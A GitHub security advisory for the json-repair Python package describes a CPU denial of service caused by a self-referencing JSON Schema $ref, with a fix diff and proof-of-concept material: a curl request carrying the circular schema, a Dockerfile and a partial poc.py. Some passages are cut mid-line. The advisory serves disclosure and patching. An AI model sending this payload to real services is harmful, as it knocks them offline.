GitHub Advisoryadvisory · PyPI
GHSA-xf7x-x43h-rpqh json_repair: Circular JSON Schema `$ref` causes unbounded CPU DoS
HIGH
Official page ↗
- Ecosystem
- PyPI
- Packages
- json-repair
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-835
- Reviewed
- 2026-07-13
Affected packages
• PyPI json-repair: < 0.60.1 → fixed in 0.60.1
Description
Circular JSON Schema `$ref` causes unbounded CPU DoS in `json_repair`
Summary
`SchemaRepairer.resolve_schema()` in `json_repair` follows JSON Schema `$ref` pointers in an unbounded `while` loop without any cycle detection. An attacker who can supply a schema containing a self-referencing `$ref` (e.g., via the demo Flask API or any application that passes untrusted input to `loads(..., schema=...)`), can cause a worker process to spin indefinitely on CPU, resulting in a complete denial of service. No authentication is required against the public demo API. The vulnerability is confirmed reproducible at CVSS 7.5 (High).
Details
`SchemaRepairer.resolve_schema()` at `src/json_repair/schema_repair.py:184–190` resolves `$ref` chains using a plain `while` loop:
```python
src/json_repair/schema_repair.py:184-190
schema_dict = cast("dict[str, Any]", schema)
while "$ref" in schema_dict:
ref = schema_dict["$ref"]
resolved = self._resolve_ref(ref)
if isinstance(resolved, bool):
return resolved
schema_dict = resolved
```
`_resolve_ref()` at `src/json_repair/schema_repair.py:654–665` always resolves references relative to `self.root_schema`, which is initialised from the caller-supplied schema (`src/json_repair/schema_repair.py:130`). When the schema contains a circular reference such as:
```json
{"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}}
```
`_resolve_ref()` returns the same `dict` object on every iteration, so `"$ref" in schema_dict` is always `True` and the loop never terminates.
The vulnerable sink is reachable without authentication through the demo Flask API:
```python
docs/app.py:14, 21-36
data = request.get_json()
schema = data.get("schema")
if schema is not None and not isinstance(schema, (dict, bool)):
raise ValueError("schema must be a JSON object or boolean.")
...
if schema is not None:
loads_kwargs["schema"] = schema
parsed_json = loads(malformed_json, loads_kwargs)
```
The only guard is a top-level `isinstance(dict, bool)` check; there is no `$ref` depth limit, no visited-set, and no timeout enforced by the library. The full data-flow path is:
1. `docs/app.py:14` — `request.get_json()` reads the attacker-controlled HTTP body.
2. `docs/app.py:21–23` — `schema` is extracted; only `dict`/`bool` type check applied.
3. `docs/app.py:33–36` — schema is forwarded verbatim to `loads()`.
4. `src/json_repair/json_repair.py:145–148` — `schema_from_input(schema)` instantiates `SchemaRepairer`.
5. `src/json_repair/json_repair.py:160` — `repairer.is_valid()` calls `resolve_schema()`, triggering the infinite loop.
6. `src/json_repair/schema_repair.py:184–190` — unbounded `while "$ref" in schema_dict` loop (sink).
7. `src/json_repair/schema_repair.py:654–665` — `_resolve_ref()` returns the same object on every call.
Recommended fix:
```diff
--- a/src/json_repair/schema_repair.py
+++ b/src/json_repair/schema_repair.py
def resolve_schema(self, schema: object | None) -> dict[str, Any] | bool:
...
• schema_dict = cast("dict[str, Any]", schema)
+ schema_dict = cast("dict[str, Any]", schema)
+ seen_schema_ids: set[int] = set()
while "$ref" in schema_dict:
ref = schema_dict["$ref"]
+ if not isinstance(ref, str):
+ raise SchemaDefinitionError("$ref must be a string.")
+ schema_id = id(schema_dict)
+ if schema_id in seen_schema_ids:
+ raise SchemaDefinitionError(f"Circular $ref detected: {ref}")
+ seen_schema_ids.add(schema_id)
resolved = self._resolve_ref(ref)
if isinstance(resolved, bool):
return resolved
schema_dict = resolved
return schema_dict
```
PoC
Environment setup:
```bash
Clone the affected version
git clone https://github.com/mangiucugna/json_repair.git
git -C json_repair checkout 0015c74c01bdafe4bb7435780657501741c2a5f7
Install dependencies
pip install flask flask-cors jsonschema pydantic
pip install -e json_repair/
Start the demo API
PYTHONPATH=json_repair/src flask --app json_repair/docs/app run --host=127.0.0.1 --port=5005
```
Alternatively, use the provided Docker image:
```dockerfile
FROM python:3.11-slim
WORKDIR /app
COPY repo/ /app/repo/
RUN pip install --no-cache-dir flask flask-cors jsonschema pydantic && \
pip install --no-cache-dir -e /app/repo/
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
```
```bash
docker build -t vuln001-json-repair -f vuln-001/Dockerfile .
docker run --rm vuln001-json-repair
```
HTTP attack request (demo API):
```bash
timeout 5 curl -sS -X POST http://127.0.0.1:5005/api/repair-json \
-H 'Content-Type: application/json' \
--data '{"malformedJSON":"{}","schema":{"$ref":"#/definitions/a","definitions":{"a":{"$ref":"#/definitions/a"}}}}'
Expected: no response before timeout; curl exits with code 124
```
Direct library attack:**
```bash
timeout 5 python3 - )` to untrusted callers is equally affected. The vulnerability requires no special privileges, produces no useful output for the attacker (confidentiality and integrity are unaffected), and is deterministically reproducible.
Reproduction artifacts
`Dockerfile`
```dockerfile
FROM python:3.11-slim
WORKDIR /app
Copy the vulnerable json_repair repository (build context is the report root)
COPY repo/ /app/repo/
Install Flask demo API dependencies and schema extras
RUN pip install --no-cache-dir \
flask \
flask-cors \
jsonschema \
pydantic && \
pip install --no-cache-dir -e /app/repo/
Copy the proof-of-concept script
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
```
`poc.py`
```python
!/usr/bin/env python3
"""
PoC for VULN-001: Circular JSON Schema $ref causes unbounded CPU DoS
CWE-835 — Loop with Unreachable Exit Condition
Affected: json_repair ), resolve_schema() enters an infinite loop
because _resolve_ref() always returns the same dict object from root_schema.
Verdict logic:
• Baseline (valid schema) must complete in < TIMEOUT seconds.
• Attack (circular $ref) must still be running at TIMEOUT seconds.
Both conditions together constitute deterministic proof of the vulnerability.
"""
import os
import subprocess
import sys
import tempfile
import time
Seconds to wait before declaring the attack confirmed (infinite loop)
TIMEOUT_SECONDS = 5
CIRCULAR_SCHEMA = {
"$ref": "#/definitions/a",
"definitions": {
"a": {"$ref": "#/definitions/a"}
}
}
NORMAL_SCHEMA = {
"type": "object",
"propertie…
Related
Weakness · CWE (1)
- CWE-835 Loop with Unreachable Exit Condition weakness